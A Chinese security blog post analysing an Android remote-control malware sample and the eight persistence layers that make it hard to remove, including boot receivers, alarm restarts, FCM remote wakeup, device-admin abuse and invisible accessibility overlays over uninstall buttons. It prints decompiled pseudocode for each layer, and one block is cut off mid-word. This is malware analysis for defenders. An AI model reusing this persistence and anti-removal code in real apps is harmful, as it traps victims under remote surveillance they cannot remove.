文章总结: 该文档解析了一款Android恶意软件的八大持久化技术,揭示了其难以清除的原理。核心发现包括利用系统广播自启动、AlarmManager应对任务清理、START_STICKY实现崩溃恢复、FCM远程唤醒、前台服务防休眠、设备管理员权限防卸载,以及滥用辅助功能服务遮挡UI拦截卸载操作。这些机制构建了极度顽固的驻留能力,展示了移动端恶意软件的高级对抗手段。 综合评分: 90 文章分类: 恶意软件,移动安全,逆向分析,实战经验
你的Android手机感染后为何无法有效清除
原创
破天KK 破天KK
KK安全说
2026年3月6日 09:00 中国香港
你安装了一款恶意应用。它会监视你的屏幕,将屏幕内容传输给远程攻击者,记录你的点击操作,而且你无法将其卸载。原因如下:
- 重启手机——恶意软件会在每次启动时自动运行。
- 从最近使用的应用列表中将其移除——它会自动重新安排启动时间,并在 1 秒内重新启动。
- 在设置中强制停止——一个不可见的覆盖层遮挡了“停止”按钮。
- 点击“卸载” ——一个不可见的遮罩挡住了“卸载”按钮。
- 应用崩溃了——安卓系统会自动重启。
- 更新应用——更新完成后应用会立即自动重启。
- 攻击者的服务器离线——恶意软件等待;当攻击者发送推送通知时,它就会重新启动。
- 尝试在设置中移除设备管理员– 被同一覆盖系统阻止
引言
一个永无休止的问题:Android 和 iOS 哪个更安全?
我认为,如果用户反复点击“是”,第三方安卓应用就能获得大量的权限,尤其是辅助功能权限。这使得安卓系统风险更高,因为漏洞往往出在用户身上。
恶意安卓应用可以通过多种方式阻止你将其关闭或停止。以下是对近期发现的一款安卓恶意软件的分析示例。我重点关注原始分析中未提及的持久化技术。这也是我第一次使用人工智能辅助分析,效果相当出色。
第 1 层:通过启动持久化BOOT_COMPLETED
这是安卓恶意软件最古老的伎俩之一,至今仍然非常有效。该恶意软件会注册一个BroadcastReceiverBIOS 设置android.intent.action.BOOT_COMPLETED,使其在设备每次开机时自动启动。
文件: OnBootReceiver.java,带有 AI 注释的伪代码
@Override
public void onReceive (Context context, Intent intent) {
if ( "android.intent.action.BOOT_COMPLETED" .equals(intent.getAction())) {
// 在 Android 11 及更高版本中,如果辅助功能服务尚未激活,则完全中止
if (Build.VERSION.SDK_INT >= 30 && !InputService.isConnected()) {
return ;
}
// ... 从 SharedPreferences 加载已保存的配置 ...
Intent intent2 = new Intent (context.getApplicationContext(), MainService.class);
intent2.setAction(MainService.ACTION_START);
intent2.putExtra(MainService.EXTRA_PORT, ...);
intent2.putExtra(MainService.EXTRA_PASSWORD, ...);
intent2.putExtra(MainService.EXTRA_ACCESS_KEY, ...);
long delay = prefs.getInt(PREFS_KEY_START_ON_BOOT_DELAY, ...) * 1000 ;
if (delay > 0 ) {
// 使用 AlarmManager 延迟启动,绕过 Doze 模式
alarmManager.setAndAllowWhileIdle( 2 , SystemClock.elapsedRealtime() + delay, service);
return ;
}
// 立即启动
context.getApplicationContext().startForegroundService(intent2);
}
}
第二层:通过自更新持久化MY_PACKAGE_REPLACED
当恶意软件更新自身时,Android 会发出广播android.intent.action.MY_PACKAGE_REPLACED。恶意软件会拦截此广播并立即重启。
文件: OnPackageReplacedReceiver.java,带有 AI 注释的伪代码
@Override
public void onReceive ( final Context context, Intent arg) {
if (Intrinsics.areEqual(arg.getAction(), "android.intent.action.MY_PACKAGE_REPLACED" )) {
// 检查服务在更新前是否正在运行
if (MainServicePersistData.loadLastActiveState(context)) {
final Intent loadStartIntent = MainServicePersistData.loadStartIntent(context);
// 在 Android 11 及更高版本中,等待辅助功能服务重新连接
if (Build.VERSION.SDK_INT >= 30 ) {
InputService.runWhenConnected( new Runnable () {
@Override
public void run () {
context.getApplicationContext().startForegroundService(loadStartIntent);
}
});
} else {
context.getApplicationContext().startForegroundService(loadStartIntent);
}
}
}
}
第 3 层:通过任务终止恢复AlarmManager
当用户将应用从最近使用的应用列表中移除时,Android 会调用该服务。通常情况下,该服务会停止运行。而这款恶意软件正是利用这个回调函数,在 1 秒后onTaskRemoved()安排服务AlarmManager重启。
文件: MainService.java,带有 AI 注释的伪代码
@Override
public void onTaskRemoved (Intent intent) {
super .onTaskRemoved(intent);
if ( this .mIsStoppingByUs) return ; // 仅当外部终止时才重新调度
if (!InputService.isConnected()) return ;
Intent restartIntent = new Intent ( this , MainService.class);
restartIntent.setAction(ACTION_START);
restartIntent.putExtras(loadStartIntent);
PendingIntent service = PendingIntent.getService(
getApplicationContext(), 12345 , restartIntent, 201326592
);
AlarmManager alarmManager = (AlarmManager) getSystemService( "alarm" );
long restartAt = System.currentTimeMillis() + 1000 ; // 1 秒后
if (Build.VERSION.SDK_INT >= 31 ) {
if (alarmManager.canScheduleExactAlarms()) {
alarmManager.setExactAndAllowWhileIdle( 0 , restartAt, service);
} else {
alarmManager.set( 0 , restartAt, service); // 回退
}
} else {
alarmManager.setExactAndAllowWhileIdle( 0 , restartAt, service);
}
}
第四层:通过START_STICKY持久状态进行崩溃恢复
onStartCommand()在正常活动路径上返回START_STICKY( ),这意味着 Android 的服务管理器会在服务崩溃或因内存压力而被操作系统终止后自动重启服务,并在重启时传递一个 Intent。而空 Intent 崩溃恢复路径和一些错误路径则返回( ),这会导致 Android 在重启时重新传递最后一个 Intent。1``null``START_REDELIVER_INTENT``2
该恶意软件null明确地处理了一个意图:它读取完整的已保存启动配置,SharedPreferences并完全按照之前的状态重建自身。
文件: MainService.java,带有 AI 注释的伪代码
@Override
public int onStartCommand ( final Intent intent, int flags, int startId) {
ConnectIPC();
if (intent == null ) {
// 空 intent = 因 Android 系统崩溃而重启
final Intent loadStartIntent = MainServicePersistData.loadStartIntent( this );
if (loadStartIntent != null ) {
// 崩溃恢复:从持久化状态重新加载
if (Build.VERSION.SDK_INT >= 30 ) {
InputService.runWhenConnected(() -> startForegroundService(loadStartIntent));
} else {
startForegroundService(loadStartIntent);
}
}
return 2 ; // START_REDELIVER_INTENT
}
// ... 正常启动逻辑 ...
return 1 ; // START_STICKY
}
文件: MainServicePersistData.java,带有 AI 注释的伪代码
// 每次服务启动时,状态都会保存到 SharedPreferences 中
public static void saveStartIntent (Context context, Intent intent) {
SharedPreferences. Editor edit = PreferenceManager
.getDefaultSharedPreferences(context).edit();
edit.putString(PREFS_KEY_MAIN_SERVICE_PERSIST_DATA_START_INTENT, intent.toUri( 0 ));
edit.apply();
}
public static void saveLastActiveState (Context context, boolean isActive) {
SharedPreferences. Editor edit = PreferenceManager
.getDefaultSharedPreferences(context).edit();
edit.putBoolean(PREFS_KEY_MAIN_SERVICE_PERSIST_DATA_LAST_ACTIVE_STATE, isActive);
edit.apply();
}
第五层:通过 Firebase 云消息传递 (FCM) 进行远程复活
这一层使得恶意软件真正受攻击者控制。首次运行时,它会注册一个 FCM 推送令牌并将其上传到 C2 服务器(ServiceInteractionUtil.UpWakeToken())。每当攻击者的服务器检测到设备离线时,它就会发送一条 Firebase 静默推送通知。无论应用是否正在运行,设备都会收到该通知,因为 Firebase 后台推送由操作系统级别的 Google Play 服务处理。
文件: FcmWakeupService.java,带有 AI 注释的伪代码
@Override
public void onMessageReceived ( RemoteMessage remoteMessage ) {
try {
if ( MainService.isNull ()) { // 服务已停止运行 — 远程唤醒它Context app = getApplicationContext ( ); Intent startIntent = MainServicePersistData.loadStartIntent (app); if ( startIntent == null ) { startIntent = new Intent (app, MainService.class ); startIntent.putExtra ( MainService.EXTRA_ACCESS_KEY , /* 已保存的密钥 */ ) ; } app.startForegroundService (startIntent); return ; } } catch ( Throwable unused ) { } //如果服务已在运行,则处理实时控制命令 String action = remoteMessage.getData (). get ( "action" ); String keep = remoteMessage.getData (). get ( "keep" ); int keepSeconds = 60 ; // 如果密钥不存在,则使用默认值if ( keep != null ) { try { keepSeconds = Integer.parseInt ( keep); } catch ( Exception ignored ) {} } ServiceInteractionUtil.onFcmWakeup ( keepSeconds); } @Override public void onNewToken ( String token ) { //将新的 FCM 令牌上传到攻击者的 C2 服务器PreferenceManager.getDefaultSharedPreferences ( this ) .edit ( ). putString ( FCMTokenKey , token) .apply (); ServiceInteractionUtil.UpWakeToken ( token); }
这意味着:即使用户设法终止了所有本地持久化机制,攻击者也可以通过任何互联网连接推送静默通知,恶意软件代理程序可以在几秒钟内再次运行,而无需任何用户交互。
第 6 层:前台服务 + WakeLock(防睡眠)
作为前台服务运行会做两件事:它会在状态栏中放置一个持久通知(可以将其样式设置为无害,例如“正在同步…”),并且它会提高进程优先级,从而使 Android 的低内存杀手不太可能将其终止。
此外,该恶意软件获取了一个 WakeLock 标志0x30000006(SCREEN_DIM_WAKE_LOCK|| ACQUIRE_CAUSES_WAKEUP)ON_AFTER_RELEASE,阻止 CPU 进入睡眠状态,并允许锁的获取本身唤醒屏幕。
文件: MainService.java,带有 AI 注释的伪代码
@Override
public void onCreate ( ) { // 以前台服务启动并发送
通知
startForeground (
11 ,
getNotification ( null , null , R.drawable.ic_notification_normal , true , null ), 16 // FOREGROUND_SERVICE_TYPE_CONNECTED_DEVICE ); // 获取唤醒锁 (SCREEN_DIM_WAKE_LOCK | ACQUIRE_CAUSES_WAKEUP | ON_AFTER_RELEASE) // 0x30000006 = 0x6 (SCREEN_DIM_WAKE_LOCK) | 0x10000000 (ACQUIRE_CAUSES_WAKEUP) | 0x20000000 (ON_AFTER_RELEASE) mWakeLock = (( PowerManager ) getSystemService ( " power" )) . newWakeLock ( 805306374 , "MainService:clientsConnected" ); }
文件: ServiceInteractionUtil.java,单独的心跳唤醒锁:
private static void acquireWakeLock () {
if (mWakeLock == null ) {
PowerManager.WakeLock lock = ((PowerManager) context.getSystemService( "power" ))
.newWakeLock( 1 , "DroidVNC-NG:HeartbeatLock" ); // PARTIAL_WAKE_LOCK
mWakeLock = lock ;
lock.setReferenceCounted ( false );
}
if (!mWakeLock.isHeld()) {
mWakeLock.acquire(); // CPU 无限期保持开启状态
}
}
这意味着:两个独立的唤醒锁同时被持有,一个处于开启状态MainService,另一个处于休眠状态ServiceInteractionUtil。CPU 要进入睡眠状态,这两个唤醒锁都必须被释放。
第 7 层:设备管理员权限(防卸载)
该恶意软件会不断扩展DeviceAdminReceiver并积极请求设备管理员权限。一旦获得权限,该应用将无法通过正常方式卸载,Android 系统要求必须先撤销管理员权限,而用于撤销权限的设置页面已被主动屏蔽(参见第 8 层)。
文件: MyDeviceAdminReceiver.java,带有 AI 注释的伪代码
public static void requestAdminPermissionStatic () {
// 仅当攻击者拥有活动的 VNC 控制时才提示
if (!MainService.isVNCClientWakeUp || DeviceStatusManager.IsScreenOff()) return ;
if (devicePolicyManager.isAdminActive(componentName)) {
// 已是管理员 - 无需操作
return ;
}
// 直接启动权限请求 UI
Intent intent = new Intent(context, PermissionRequestActivity.class); intent.addFlags( 276824064 ); // FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS context.startActivity(intent); // 回退:如果 startActivity 被阻止,则发送一个持久通知//诱骗用户自行授予管理员权限}
一旦管理员权限被激活,恶意软件还可以:
- 通过远程方式锁定屏幕
devicePolicyManager.lockNow() - 禁用生物识别认证,
setKeyguardDisabledFeatures(componentName, 416)强制输入PIN码,可通过VNC流观察。 - 阻止屏幕锁定更改以保持访问权限
public static void lockScreenStatic ( ) {
if (devicePolicyManager.isAdminActive ( componentName)) {
instance.mDevicePolicyManager.lockNow (); } } public static void setBiometricsDisabledStatic ( boolean disable ) { // 416 = KEYGUARD_DISABLE_FINGERPRINT | KEYGUARD_DISABLE_FACE | KEYGUARD_DISABLE_IRIS devicePolicyManager.setKeyguardDisabledFeatures (componentName , disable ? 416 : 0 ) ; }
第 8 层:辅助功能服务 UI 拦截器(防移除)
这是最复杂的一层。该恶意软件InputService扩展了AccessibilityServiceAndroid 屏幕阅读器的一个合法 API。它滥用该 API 来监视用户是否访问了可能用于卸载它的设置页面,然后在危险的 UI 元素上绘制不可见的点击阻止层。
文件: AppProtectionDetector.java,带有 AI 注释的伪代码
// 由每个辅助功能事件(设备上的每次 UI 更改)触发
public static void Analyze ( InputService inputService, AccessibilityEvent event ) {
String pkg = event .getPackageName().toString().toLowerCase();
// 监视设置、卸载对话框、安全中心、权限管理器
if (pkg.contains( "settings" ) || pkg.contains( "systemui" ) ||
pkg.contains( "packageinstaller" ) || pkg.contains( "securitycenter" ) ||
pkg.contains( "permissionmanager" ) || pkg.contains(inputService.getPackageName())) {
startMonitoring(inputService); // 开始扫描 UI 树
} else {
stopMonitoring();
}
}
当检测到敏感屏幕时,它会扫描辅助功能节点树。关键在于,两次检测过程都会首先在屏幕上搜索应用的名称,如果找不到则立即返回;只有当用户导航到显示或引用该应用的特定页面时,才会绘制叠加层。这两个过程如下:
analyzeSettings(阻止辅助功能切换):
- 要求:应用名称显示在屏幕上
- 如果找到:定位
Switch并覆盖 -class 元素;如果未找到 Switch,则覆盖 app-name 节点的可点击父节点
analyzeUninstall(阻止强制停止和卸载):
- 要求:应用名称显示在屏幕上
- 如果找到:封面
android:id/button1(卸载确认按钮)以及任何包含文本"stop"“"end",,,"clear"或”的可点击节点"Uninstall"
private static Rect [] detectUninstallTarget ( AccessibilityNodeInfo root ) {
// 守卫:仅当应用名称在此屏幕上可见时才继续
findNodesByTextRecursive (root, APP_KEYWORD , matchingNodes);
if (matchingNodes.isEmpty ( )) return null ; // 通过资源
ID 遮盖卸载确认按钮
List <AccessibilityNodeInfo> button1Nodes = root.findAccessibilityNodeInfosByViewId ( "android:id/button1" ); //遮盖带有危险文本标签的节点String [] dangerousText = { "stop" , "end" , "clear" , "Uninstall" }; for ( String text : dangerousText) { findNodesByTextRecursive (root, text, candidates); // 如果节点本身不可点击,则遍历到可点击的父节点for ( AccessibilityNodeInfo node : candidates) { if (node.isClickable ( )) { node.getBoundsInScreen (rect); targetRects.add (rect); } else { AccessibilityNodeInfo parent = node.getParent ( ); if (parent != null && parent.isClickable ()) { parent.getBoundsInScreen (rect); targetRects.add ( rect); } } } } return targetRects.isEmpty ( ) ? null : targetRects.toArray ( new Rect [ 0 ] ) ; }
生成的矩形被传递给RectOverlayManager.ShowRects(),该函数会在每个已识别的按钮上绘制不可见的系统级覆盖窗口(TYPE_ACCESSIBILITY_OVERLAY),消耗触摸事件并使按钮无法点击。
// 当检测到危险的 UI 元素时,使用不可见的覆盖层将其覆盖
AppProtectionDetector.analyzeSettings (accessibilityNodeInfo); //阻止切换AppProtectionD
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:KK安全说 破天KK 破天KK《你的Android手机感染后为何无法有效清除》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论